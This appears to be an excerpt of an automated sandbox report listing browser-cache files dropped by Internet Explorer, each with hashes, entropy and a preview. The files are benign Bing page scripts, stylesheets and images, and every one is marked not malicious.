Preview:	var CaptionClickable;(function(){function t(){for(var i,r=document.querySelectorAll(".b_caption"),u=document.querySelectorAll(".b_imgcap_altitle"),t=0;t<r.length;t++)i=r[t],i&&n(i);for(t=0;t<u.length;t++)i=u[t],i&&n(i)}function n(n){var t=n.previousElementSibling,f,e,o,u,r,s;if(t&&(f=null,t.tagName==="H2"\|\|t.querySelector("h2")?(e=t.tagName==="H2"?t:t.querySelector("h2"),e&&e.querySelector("a")&&(f=e)):t.tagName==="H3"\|\|t.querySelector("h3")?(o=t.tagName==="H3"?t:t.querySelector("h3"),o&&o.querySelector("a")&&(f=o)):f=n.querySelector("h2, h3"),u=n.querySelector("p"),f&&u&&i(u.classList)&&(r=f.querySelector("a"),r))){if(u.addEventListener("mouseover",function(){r&&(r.style.textDecoration="underline",n.style.cursor="pointer")}),u.addEventListener("mouseout",function(){r&&(r.style.textDecoration="",n.style.cursor="")}),s=u.parentElement,s&&s.tagName==="A")return;u.addEventListener("click",function(){if(r){_w.si_T&&_w.si_T(r.getAttribute("h"));var n=window.getSelection();(n===null\|\|n===voi

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\7FHH9LPM\_cTVIwHRhwQtCi8TbO7ywAXcu4s[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (824), with no line terminators
Category:	dropped
Size (bytes):	824
Entropy (8bit):	5.3314854117420465
Encrypted:	false
SSDEEP:	24:2QQ3xVJjKVJ5o7VEioPVKofuVJ0PoRGP2QbAX53CO2Wd6o0YmmBM:AjWUJEhNZsvc8XgO2Wdh0Jm6
MD5:	3FF8EECB7A6996C1056BBE9D4DDE50B4
SHA1:	FDC4D52301D187042D0A2F136CEEF2C005DCBB8B
SHA-256:	01B479F35B53D8078BACA650BDD8B926638D8DAAA6EB4A9059E232DBD984F163
SHA-512:	49E68AA570729CC96ED0FD2F5F406D84869772DF67958272625CBA9D521CA508955567E12573D7C73D7E7727260D746B535C2CE6A3ACE4952EDF8FD85F3DB0DD
Malicious:	false
Preview:	(function(){function i(){var f="data-load",u,i;if(n&&!n.hasAttribute(f))try{if(_d.body.appendChild(n),typeof sj_gx=="function"){if(u=r.replace("%IG%",_G.IG).replace("%IID%",n.getAttribute("data-iid")).replace("%PARTNER%",n.getAttribute("data-ptn")).replace("%ENABLEP%",n.getAttribute("data-ep")).replace("%ICONPRELOADED%",n.getAttribute("data-iconpl")),n.setAttribute(f,"1"),i=sj_gx(),!i)return null;i.onreadystatechange=function(){typeof sj_appHTML=="function"&&4==i.readyState&&200==i.status&&sj_appHTML(n,i.responseText)};i.open("GET",t?SbiTst.at(u):u,!0);i.send(null)}}catch(e){}}function u(){if(n){var r=n.getAttribute("data-evt");r&&!t?sj_evt.bind(r,i,!0):i()}}var r="/images/sbi?mmasync=1&ig=%IG%&iid=%IID%&ptn=%PARTNER%&ep=%ENABLEP%&iconpl=%ICONPRELOADED%",n=_ge("sbicom_loader"),t=typeof SbiTst!="undefined";u()})()

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\7FHH9LPM\chRhkXPE7Aab4f8A3WEJL9KYGvA[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (667), with no line terminators
Category:	dropped
Size (bytes):	667
Entropy (8bit):	5.251512275863699
Encrypted:	false
SSDEEP:	12:fr5esz7hNGwXI2QA3QglxfLQOtKfWM1kI2JGC+t5821xw9i/UJpN0I:fr5NhNGOgAggDDQOtjMbhH582Ugk0I
MD5:	2AB12BF4A9E00A1F96849EBB31E03D48
SHA1:	7214619173C4EC069BE1FF00DD61092FD2981AF0
SHA-256:	F8B5ACF4DA28E0617F1C81093192D044BD5A6CC2A2E0C77677F859ADCF3430AC
SHA-512:	7D5AAE775BE1E482EADA1F453BEA2C52A62C552FA94949E6A6081F322E679E916B1276BB59FF28CF7C86D21727BCC329ECB03E5D77CA93204E0CD2694FAA72BD
Malicious:	false
Preview:	sb_ie&&function(){function h(){if(t){var u=n.replace(/www\./i,"");return f&&i(t,r,n+"?PC="+f)\|\|i(t,r,n)\|\|i(t,r,u)\|\|i(t,r,n+"?Form=HPPDH1")\|\|i(t,r,n+"?PC=BNHP")\|\|i(t,r,n+"?PC=BNSR")}return 0}function c(){return i(_w.external,s,n)!=0}function l(){if(u){var n=2e+o;if(u==n)return!0}return!1}function a(){var n=_ge("hps");return n\|\|(n=sj_ce("span","hps"),n.style.behavior="url(#default#homepage)",sj_b.appendChild(n)),n}function i(n,t,i){try{return n[t](i)}catch(r){return 0}}var s="IsSearchProviderInstalled",r="isHomepage",n="http://"+_d.domain+"/",u=sj_cook.get("_UR","D"),f=sj_cook.get("SRCHS","PC"),t=a(),e=h(),o=c();l()\|\|(u=2e+o,sj_cook.set("_UR","D",u,1,"/"))}()

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\7FHH9LPM\kAwiv9gc4HPfHSU3xUQp2Xqm5wA[1].png

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 1030 x 92, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	9310
Entropy (8bit):	7.907965931624856
Encrypted:	false
SSDEEP:	192:qnmErbd5SU2ipCfR6VY9Fcygr2XecqN4zvEd4xSNzvkmglkz80bl7xcnobmP:S5bdAU3EJiHpSucq+z64xSlp40Bx8oKP
MD5:	1947B15739221EB0DB271C1DD8F95E46
SHA1:	900C22BFD81CE073DF1D2537C54429D97AA6E700
SHA-256:	FBF7FE8197902B32CE2C83F05DB73255553C716AC7B084FF1878E617963D0F51
SHA-512:	E73B17A0CCAEA85C539B5DA3BA978EBDA519D68F5686894EBEBBB529DCA54D07CA3508DBCED9D8F56D71D49469FA5916A7255B6CA455E00251D81B5E03410E5C
Malicious:	false
Preview:	.PNG........IHDR.......\.......Gi...sPLTEGpL.e"..?..?..=........................uut.............O..K..J..J..K..K..J..J..M..O..S..O.uux.V..K.....ffffff.I.2..1..%q..>. Y.$d.BFBDDDDDDBGB.K...........K.$i.#a.DDDDDDDDDuww......!\.DDDDDDuwx.J.....\.$g. Z.CCCvvzvxywx{"^.CCCvwywx{vvwvvzwx{vwxxx\|wx{wxzfff%.....$h.DDDCCC.h..[..x.._..S.vvx...9..._.%h.!`.DDD...AHAuwx.R..O.m.cK.}....U.g.c..N.Qs.X..]d..8..&.c...2.....$........#..e....'..h.vw.......XS..i........[..b.rC.H=www...zzz........T..................................J...................qqqqqqqqq.k..m.......413..................vvv....l.......uuu....m..................................................."........".."...\......tRNS..@..@.....` ...p.@.......p .``P.P_.........Z...0........p0_....P0....@@....... .p........"..R..@...0..0..... ...w...0..@.....X.......b.......... `......P@....p1`P.......=............p....D@..M.'.....0....Y.... .IDATx...Ub.@...S.ic.A.....E.....=%0s...^k"..S)..cff.U.en..".FS.Bm.j.m.....&.,.Y.0..........k.E.*U

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\7FHH9LPM\lmeA0hrUVE25iemGsvw6twmDJgw[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (841), with no line terminators
Category:	dropped
Size (bytes):	841
Entropy (8bit):	5.164356246203931
Encrypted:	false
SSDEEP:	12:9bGk4aZBJKbeS0YeHTwnJw7+GbSVTJjnWU+YWogltaOHUPbpbvN:hpCbe9YwZbSZRB+YgruDdV
MD5:	48833DEA59BC0B37177AB4C6C233DFBB
SHA1:	966780D21AD4544DB989E986B2FC3AB70983260C
SHA-256:	DE9CCA3CD151B7DD74DA15992299C993D91A424083C1EFB2A948230E87FECB4B
SHA-512:	B7E00BD79148657CA517B959C48B4E7E1F70CC7D5EC9B30DF5FBD0A7F6E9275F16797C7414CAC30FA6972F958D4A64E3AC45DC7D9BE8FD517F66D44AA78207EE
Malicious:	false
Preview:	var AlgoInnovationAnchorUrlRedirect;(function(){function t(){function t(){var r=_d.querySelectorAll(n),t,u;if(r)for(t=0;t<r.length;t++)u=r[t],u&&sj_be(u,"click",i)}function i(n){var t,i;if(n&&(t=n.target,i="",t&&t.parentNode&&t.parentNode!=null&&t.parentNode.tagName==="A"&&t.parentNode.classList.contains("batgil"))){var e=t.parentNode,o=e.getAttribute("href"),s=o.split("#:~:text=")[0];i=u(o)?f(s,t.innerText):s+="#:~:text="+t.innerText;r(i)&&e.setAttribute("href",i)}}function r(n){return n&&/^https?:\/\/.+/.test(n)}function u(n){return n.indexOf("bing.com")>0&&n.indexOf("/ck/a")>=0?!0:!1}function f(n,t){var i,r;if(!n)return"";try{return i=n.match(/u=a1([^&]*)/),r="",i&&i.length>1&&(r=i[1]),window.atob(r)+"#:~:text="+t}catch(u){return""}}t()}var n=".tltg ";t()})(AlgoInnovationAnchorUrlRedirect\|\|(AlgoInnovationAnchorUrlRedirect={}))

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\HR836O4C\9IaydF5GN9iBQi04x3gMBBYYFoo[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (674), with no line terminators
Category:	dropped
Size (bytes):	674
Entropy (8bit):	5.239693493116514
Encrypted:	false
SSDEEP:	12:GyX+fnReu8VliHMtm5vXuMp4CWhneMNqOgqpsRWc9mMCDBMw0n:GS4Reu+kSkNCnvVgqSRWzAn
MD5:	8D078E26C28E9C85885F8A362CB80DB9
SHA1:	F486B2745E4637D881422D38C7780C041618168A
SHA-256:	0BF9F3AD9CDBBC4D37C8B9E22DD06CC26EEA12A27EF6C0F95DB6CBE930177461
SHA-512:	B808A972CD44E6BDA01AC1F8D904D5A281F33B9238B8CAAB03DECB6ADB6B494B19DD9BB35E3D1EA3CA914FF4957155F6D2CB5A9B3A00C2195F80F52804FFB244
Malicious:	false
Preview:	var LinksColorOnMD;(function(n){function i(n){while(n&&n.nodeName!=="A")n=n.parentElement;return n}function o(n){if(n.button===0&&!n.ctrlKey&&!n.shiftKey){var f=i(sj_et(n));f&&(Lib.CssClass.add(f,t),r[f.href]=sb_st(function(){u(f)},5e3))}}function u(n){Lib.CssClass.remove(n,t)}function s(n){h(n);var r=i(sj_et(n));r&&Lib.CssClass.remove(r,t)}function h(n){var t=i(sj_et(n)),f;t&&(f=r[t.href],f&&sb_ct(f),e&&u(t))}function f(){for(var n,i=_d.getElementsByTagName("A"),t=0;t<i.length;t++)(n=i[t],n)&&(sj_be(n,"mousedown",o),sj_be(n,"click",s))}var t="b_LinksColorMD",r={},e=sj_cook&&sj_cook.get("SRCHHPGUSR","NEWWND")==="1";n.bind=f;f()})(LinksColorOnMD\|\|(LinksColorOnMD={}))

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\HR836O4C\A65F5JB3t9h9f8xDRXS6SflWZOM[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (902), with no line terminators
Category:	dropped
Size (bytes):	902
Entropy (8bit):	5.200751776659475
Encrypted:	false
SSDEEP:	24:Hl7/nJ4aZUv+MW/sRdrwq50n+pM12vk1Q4W3Idc4Wn:d/Caq+M93H5kOaC3Idmn
MD5:	76ED74A9FD9A74443976389C069CC74A
SHA1:	03AE45E49077B7D87D7FCC434574BA49F95664E3
SHA-256:	B443A3D58AEC4919E37DF4629F8C759A43091B1F63B5A815F8052DF0D8D46804
SHA-512:	D2D13DA2F47C2E94DB3A3B9B6F5185C8352268B1D336BAAA856177BE4B098535BD71BC53819FC73C0F4970DABCB7ECC7F375B4DEB1C25B25474551204B6921F4
Malicious:	false
Preview:	var HeaderPlusAlgo_Selector;(function(n){function e(n){for(var u,l,h,e=[],c=t(sj_b.querySelectorAll(f+(n?", :focus":""))),s=0;s<c.length;s++)u=c[s],u.className.indexOf("b_ans")!=-1\|\|u.id=="b_pole"?(l=t(u.querySelectorAll(r)),l.length==0&&(h=o(u),h&&e.push(h))):i(u)\|\|e.push(u);return e}function t(n){for(var i=[],t=0;t<n.length;t++)i.push(n[t]);return i}function i(n){if(n){var t=window.getComputedStyle(n);return t&&t.display=="none"?!0:i(n.parentElement)}return!1}function o(n){for(var r,e=t(n.querySelectorAll(u)),f=0;f<e.length;f++)if(r=e[f],!i(r)&&r.tabIndex!=-1)return r;return null}var r="#b_results h2 a,#b_results h3 a,#b_results h4 a",u="input, select, textarea,a[href],*[tabindex = '0']",f=r+",#b_results .b_ans,#b_content #b_pole,#b_content #b_topw";n.getSelectableElements=e})(HeaderPlusAlgo_Selector\|\|(HeaderPlusAlgo_Selector={}));NavSelector=HeaderPlusAlgo_Selector.getSelectableElements

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\HR836O4C\GX1H8p_z27NqiIlBdQGVdC5rb9s[1].css

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (44213), with no line terminators
Category:	dropped
Size (bytes):	44213
Entropy (8bit):	5.4731108865747
Encrypted:	false
SSDEEP:	768:j3K3FC6AwneAIzFn94868I8GuK6HoxT7TbIuw9bNL6rb:bn4t3DOoxL//
MD5:	E917BC77D3F53468F4A6C9D7AF562B04
SHA1:	197D47F29FF3DBB36A888941750195742E6B6FDB
SHA-256:	AB1A27D51C348A05766BF4ADCF53206A5CC77992246BF28ED15E2F9F6930928D
SHA-512:	200F358305578EE7F0B23F985AADD58EF507CD9AC07BCFC8DB7DDD7D48D2CCD1528B5C8B3A20A11DCAF951CAF84781E5A838BA0F5DF9C3C3D843F084FF2F7E94
Malicious:	false
Preview:	#sw_as .sa_drw{margin:0}#sw_as .sa_zis_parent li.sa_sg,#sw_as .sa_as .sa_sg,#sw_as .sa_as .as_msbsugcontainer.as_msb_page_home{cursor:pointer;display:flex;height:30px;align-items:center;gap:12px;padding:0}#sw_as .sa_as .sa_drw.sa_drw_zis li.sa_sg.sa_ent,#sw_as .sa_as .sa_sg.sa_ent{padding-top:5px;padding-bottom:5px;height:30px}#sw_as #sa_ul:not(:has(div.sa_ent_nrml)) .sa_tm_mainText.sa_tm_rich{font-weight:bold}#sw_as .sa_as #sa_ul li.pp_tile:not(.pp_sTile){padding-left:50px}#sw_as .sa_as .sa_drw .sa_sg_icon_area{width:30px;height:30px;flex-shrink:0;margin-left:8px;margin-right:0}#sw_as .sa_as .sa_sg_icon_area .sa_sg_icon{margin-top:6px}#sw_as .sa_as .sa_sg_icon_area .sa_sg_icon_rrq_fnf{margin-top:9px}.sbox .sb_form #sw_as div.sa_as:not(.sa_nw) #sa_ul.sa_drw .sa_sg .sa_tm,.sbox_cn .sb_form #sw_as .sa_as #sa_ul.sa_drw li.sa_sg div.sa_tm,.sbox .sb_form #sw_as .sa_as #sa_ul.sa_drw li.sa_sg div.sa_tm,#sw_as .sa_as #sa_ul.sa_drw li.sa_sg div.sa_tm,#sw_as .sa_as #sa_ul .sa_tm_mainText{margin:

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\HR836O4C\Kc_oYjlyLU9K8HxJTWdgkolqhgA[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (357), with no line terminators
Category:	dropped
Size (bytes):	357
Entropy (8bit):	5.100320804030099
Encrypted:	false
SSDEEP:	6:2LGXTMkCDpk6CSVKvxpKv8Ed7fxu7hJRJeGMYS+ePekKfT32PV9m+8mq1mqJFO:2QVlY8EbgRUGhS+eTKb2PVESq8qrO
MD5:	2DF9793CF020A37C88178BE84311427A
SHA1:	29CFE86239722D4F4AF07C494D676092896A8600
SHA-256:	A69D257EEE41E843881D548D2E4EE5A0727B889AB22BFFDAA8ED1074E802BCC6
SHA-512:	E9A35EC1E466FEB3E273FB991A3282BA1C45FD0EACEA956E9821914CC4261377684B062BDE888EBF5767BBC055DB191DC14E00AF8037B5607449C06E5D2DD082
Malicious:	false
Preview:	(function(){function r(n){if(n&&(i=0),!(i>60)){i++;var u=_w.CursorProgress\|\|_w.CursorProgressFull;u&&u.bind();t&&sb_ct(t);t=sb_st(r,1e3)}}function n(){r(!0)}var t=null,i=0;n();typeof sj_be!="undefined"&&sj_be(_w,"load",n);typeof sj_evt!="undefined"&&(sj_evt.bind("onP1",n),sj_evt.bind("onP1Lazy",n),sj_evt.bind("ajaxReady",n),sj_evt.bind("ajax.load",n))})()

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\HR836O4C\OUGU-N0FiScxTUHgZZYbR2CE9yQ[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (2683), with no line terminators
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	5.285209446790883
Encrypted:	false
SSDEEP:	48:5sksi0wg1S0h195DlYt/5ZS/wAtKciZIgDa4V8ahff/Z/92zBDZDNJC0x0M:yk1g1zbed3SBkdZ9ZGVFNJCRM
MD5:	FB797698EF041DD693AEE90FB9C13C7E
SHA1:	394194F8DD058927314D41E065961B476084F724
SHA-256:	795E9290718EB62A1FB00646DC738F6A6B715B1171DD54A3D2DEFA013A74F3DA
SHA-512:	E03C4AB727567BE95B349B971E29CFFB3890CFB1A1DDF997B34B9D69154294A00A5112F4FFCA4DF4E26BBF96AFA75E5943E965EDC8F8E21035ED2EF30B7688D8
Malicious:	false
Preview:	var IPv6Tests;(function(n){function c(t){var r,c,o,l,f,s,i,a,v;try{if(y(),t==null\|\|t.length==0)return;if(r=sj_cook.get(n.ipv6testcookie,n.ipv6testcrumb),r!=null&&r=="1"&&!u)return;if(c=sj_cook.get(n.ipv6testcookie,n.iptypecrumb),r!=null&&c&&u&&(o=Number(r),l=(new Date).getTime(),!window.isNaN(o)&&o>l))return;if(f=_d.getElementsByTagName("head")[0],!f)return;if(s="ipV6TestScript"+t,i=sj_ce("script",s),i.type="text/javascript",i.async=!0,i.onerror=function(){Log.Log("ipv6test","IPv6Test Dom_ "+t,"IPv6TestError",!1,"Error","JSONP call resulted in error.")},a=_ge(s),a&&f)return;f.insertBefore(i,f.firstChild);i.setAttribute("src",_w.location.protocol+"//"+t+".bing.com/ipv6test/test");e&&p();v=u?(new Date).getTime()+h:"1";sj_cook.set(n.ipv6testcookie,n.ipv6testcrumb,v.toString(),!1)}catch(w){Log.Log("ipv6test","Dom_ "+t,"IPv6TestError",!1,"Error","Failed to make JSONP call. Exception - "+w.message)}}function l(t){if(!t){Log.Log("ipv6test","IPv6TestResponseError","IPv6TestError",!1,"Error","G

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\HR836O4C\T3t6V3azgG4BlSRcguR2ssuUOxQ[1].png

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 60 x 28, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1045
Entropy (8bit):	7.812007487462295
Encrypted:	false
SSDEEP:	24:2YvL3J/eQWCXbwIoGryAFXt3jwRDa9W3TH:Rv1NHUIbrzU3TH
MD5:	2AA8CAB3D7B05D1540A69E6DA11C916B
SHA1:	4F7B7A5776B3806E0195245C82E476B2CB943B14
SHA-256:	BE40B55ED2C02CA68A1527E8B50CB949FFF17EC444504F9ABCE98C97EBAD1738
SHA-512:	FEC6CD89DA1CC4630A229567101F83D979860F6CDF34FEA00174052FDEE93F00F8F0AA489C565F6CD1BCEE3124DFCB1DCE9418FBA7B3983EF6F6946C8689B241
Malicious:	false
Preview:	.PNG........IHDR...<.........=P.D....IDATx..?LSA.......J(......YcY\.......%&n.XD....X...N..Q...US.IL...z.?.?.}..I.......~w....Jv..Q..........8M...6..%..X.u....\.f.X..>u.d..E.+b6.P4.].........W.}t..jc......^.....p.).".U.H...y...i...Fz......a`.,Gr.8XP.K3@./.U...+........d`.;...,...{.U.s.:...<O......~..'.8#{...5....9...../."S.....9...Nr<=.u57.?G.a.x......}.....6n=W.3}...(.QV....y..R..G`.J...5....h.R.Z).:8.../5.%&..9..M...jQ.V?..[-E...........-....1.[!....)Ml].i.I. 8.).A.aiE./0.C'.P...v.....e(.....;...E...i..D....ea.#.3)..h..&,...Y..$-G......G...IY..T...mP.5?l...5w..t....m.O6........o(...f.k..Q5.....A.....S.......s.D..R.....^..{o..~..a...X....Z.I..Z./m...$....\..2O.$%.3;....)..m...}h.l....&.OPq.k......T.:q.E.p"".....{V.$/4a9.G.4.E..1..{... Y.....:3.9.&m..Z...k.'........v.\.e...y+.L..%..{..8..E..R&....[I.P......0.u/#.......f......e....H'.v..qp..J.w..}e..,..@....7Sjd.$aW......o.'R...L.#...0....K..rT`>>......Y2..,...!.......T

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\HR836O4C\b1UvgiIbimwO0MD72b316M0N024[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (15669)
Category:	dropped
Size (bytes):	15700
Entropy (8bit):	5.362191771973388
Encrypted:	false
SSDEEP:	384:Kh4kT1lYxfqyDOhKMpWMEVhbTDDoFWZ3BnqIfP5IDV6s4RKAJ:Y5Tifh3bBpBnqIH+Z6sev
MD5:	1DA301CCABB52EF9749D478856EBD10D
SHA1:	A7C308A7128314C51AE85C370FE3A4F9F6D24FD6
SHA-256:	6FCE408A26F643C13739A755771430F9CE680AB67A3730085B218E11A68D4111
SHA-512:	F22EA57C9C9B42897ADA69B98429E0BA2AECBF580F99207222C7C89EFEA11C98E34F48C7BABD84ABFEF1267070E4518AEEC85233883799D1F4985D0411E3833E
Malicious:	false
Preview:	/!DisableJavascriptProfiler/.var BM=BM\|\|{};BM.config={B:{timeout:250,delay:750,maxUrlLength:300,sendlimit:20,maxPayloadSize:14e3},V:{distance:20},N:{maxUrlLength:300},E:{buffer:30,timeout:5e3,maxUrlLength:300},C:{distance:10}},function(n){function vt(){if(!document.querySelector\|\|!document.querySelectorAll){k({FN:"init",S:"QuerySelector"});return}w={};e=[];ft=1;ut=0;rt=0;o=[];s=0;h=!1;var n=Math.floor(Math.random()*1e4).toString(36);t={P:{C:0,N:0,I:n,S:ei,M:r,T:0,K:r,F:0}};pi()}function oi(n,t){var r={};for(var i in n)i.indexOf("_")!==0&&(i in t&&(n[i]!==t[i]\|\|i==="i")?(r[i]=t[i],n[i]=t[i]):r[i]=null);return r}function si(n){var i={};for(var t in n)n.hasOwnProperty(t)&&(i[t]=n[t]);return i}function b(n,t,r,u){if(!h){k({FN:"snapshot",S:n});return}r=r\|\|ni;t=t\|\|!1;var f=g()+r;ot(o,n)===-1&&o.push(n);t?(yt(),pt(t,u)):f>s&&(yt(),rt=sb_st(pt,r),s=f)}function k(n){var u={T:"CI.BoxModelError",FID:"CI",Name:ht,SV:ct,P:t&&"P"in t?d(t.P):r,TS:f(),ST:v},i,e;for(i in n)u[i]=n[i];e=d(u);wt(e)}func

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\HR836O4C\cfeVf2-uV0hUo3ToTbLjztuomWk[1].jpg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:07:31 17:51:08], progressive, precision 8, 160x158, components 3
Category:	dropped
Size (bytes):	4547
Entropy (8bit):	7.735536921390623
Encrypted:	false
SSDEEP:	96:ssb41dk9JozAQ8d2SuBK76KrZDoDBtnFKiDo8TzNnNJSHvLPS:sj1eozAQ8d2VPGoBBFfM4fJSHDPS
MD5:	7AEF4CCF6E47B9BA038365CD3D1F5693
SHA1:	71F7957F6FAE574854A374E84DB2E3CEDBA89969
SHA-256:	08102BA7A0388B1AFC9A351B3387B2DDEDA846551303170E0273B2F305AECCB2
SHA-512:	29AC1E6BADF62C61B4FA889EA1B0436D3B9107A60BA03801DFA8E23A4D8BCCF42C09BB7CC7E6CD9FACB8D140DB7E0D4F0EEB3D7D8A3B9B38B1D2B95113005320
Malicious:	false
Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f.......H.......H.......GIMP 2.10.8.2019:07:31 17:51:08....C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;...........................................................................................VQJ,..R...)..(..R..d.Y@...h..%(.AW(T.)...5.,.%.2[.."!l...Z......@I..T.......@3.@....D@ ..l.)E.P....ts......@... E".W/G...........IQ..I\|../.,..W..(....WY.1<.t..=....K...C....-.1..s.[l...^].mO7\|..:.kda5....o.=.S.8.;....~e,.......1v..~5.:s'$..u.i..k.7._E25...f6v..Nk.&)....S.r...ovn5...k9k...u.D...f&.......e.+.7......d..7K.R]..f..K..l...r....K.b..s29...y;..U.E(.qH....,....QS%..@....'......................... !."1.#$0@.`............R.J..e~...+.J.....y..7#..^....,.....@.3..`.....L...[u.!.../...;[7.,...a....[._W...B;.....4g+../c..>g...!..U..Q...0...$..F%...u\|.2?.V.>.v..2.2.S.c..km)

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\HR836O4C\dbmNS45xQvD1diApY1T2HExvOo8[1].jpg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:07:31 17:53:43], progressive, precision 8, 160x160, components 3
Category:	dropped
Size (bytes):	4934
Entropy (8bit):	7.782095567670307
Encrypted:	false
SSDEEP:	96:sHbZoNWsmjRgjXFQvdXNkuz4nicDWk+4Nf6Q2mKwADHfXC7OWn:sFmmjGjWddkuz4nicyktAtmtAbuLn
MD5:	FDA2CEAE0679611937E6E71F701A36AB
SHA1:	75B98D4B8E7142F0F57620296354F61C4C6F3A8F
SHA-256:	B818C1E9B0B46CCCDC158ACA581C3C5F4A9BD3DDA380DA03AF52F43F14F5651E
SHA-512:	904100EBE310AFDF86C2E4C9CBDDC118178D41B45D076BB6077DB8F3BCED8B3CEDF545CE079E39B6F8034C2247FD4C824C0522B6221E3CDC02423AF8EEB9F8A3
Malicious:	false
Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f.......H.......H.......GIMP 2.10.8.2019:07:31 17:53:43....C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;......................................................................................._..Z/9.....AhY...T0!Eu,..dk.....y. .LP.B..V..m@@f....<uf.......h...)8.2j..U...<.n....4.B.-....W..^.J..o.{.....z.....".s.,.S...;...^f<.O8,>u.s...n.)....\o..6.{.=#:(.F.;..;1].V.........U5.1..W..g7\|r5..==...Hy..h....@...KV.{.l.9.........F.S....N{9.Y..(C.f..u\..&OX..-..N..w\..(.:.1..:ldGW.q.!...mo...e.=........a2..:hkA.....Z.:r}.....Z[...../\...-..A.#..E-K.5..k........]....yQhiAF........cy.[...C..qg.j.Y..Q3.Uh(..X.>kjs..5.....=.M.J.m.Q...FE.m=s..>.WSv..J..42+....V..[....n,.h..5...\.I]...%T.0k.=...h..5.td....].@.\..^.r....d.f..[....k....0E.U..H.....G...]]Z.M.Y..-..I....%.......................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\HR836O4C\eTi-SFYR-dQX6EuMCnS9PFieBS8[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (429), with no line terminators
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.098203134109495
Encrypted:	false
SSDEEP:	12:GtAJv9xWHXWpwYMEX3IR6lVDZWhHD6GkPsHKHOZzu2wBRHJhNURtAJ4ZQetAJD:GeyWeYMEnsUVoHoigkhwBRphNQR+e+
MD5:	0794C2FFC9AAF238496BF687A9C68799
SHA1:	7938BE485611F9D417E84B8C0A74BD3C589E052F
SHA-256:	805AAA9634639B2EAA912E117219727DFA6E92A63B8B92569C336A9CCDE52DEE
SHA-512:	FEFBFBD39B9B86D8975D8FAAB62B50515488E9BF1E21AD72FED9FA93614E10ADAFC99DA77349EAD2501B89D422D766ADC313B6024BCB9B331AB83A7B99BB135F
Malicious:	false
Preview:	var SBIImgsHelper;(function(){function i(){typeof SbiUtil!="undefined"&&(SbiUtil===null\|\|SbiUtil===void 0?void 0:SbiUtil.oncop(SbiUtil.rt,r))}function r(i){var r=i.target\|\|i.srcElement,u;r&&r.tagName==="IMG"&&r.classList.contains(n)&&r.src&&(u=r.getAttribute(t),u&&sj_evt&&sj_evt.fire&&sj_evt.fire("sbi_searchimgurl",SbiUtil.gimg(r),u,null,SbiUtil.gaps(r)))}var n="sbiable",t="data-sbiid";i()})(SBIImgsHelper\|\|(SBIImgsHelper={}))

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\HR836O4C\hx-eea1zqtCz4K0bW2uH_oN7Fs4[1].jpg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=6, xresolution=86, yresolution=94, resolutionunit=2, software=GIMP 2.10.18, datetime=2020:04:16 19:04:38], progressive, precision 8, 160x160, components 3
Category:	dropped
Size (bytes):	3791
Entropy (8bit):	7.08266375441937
Encrypted:	false
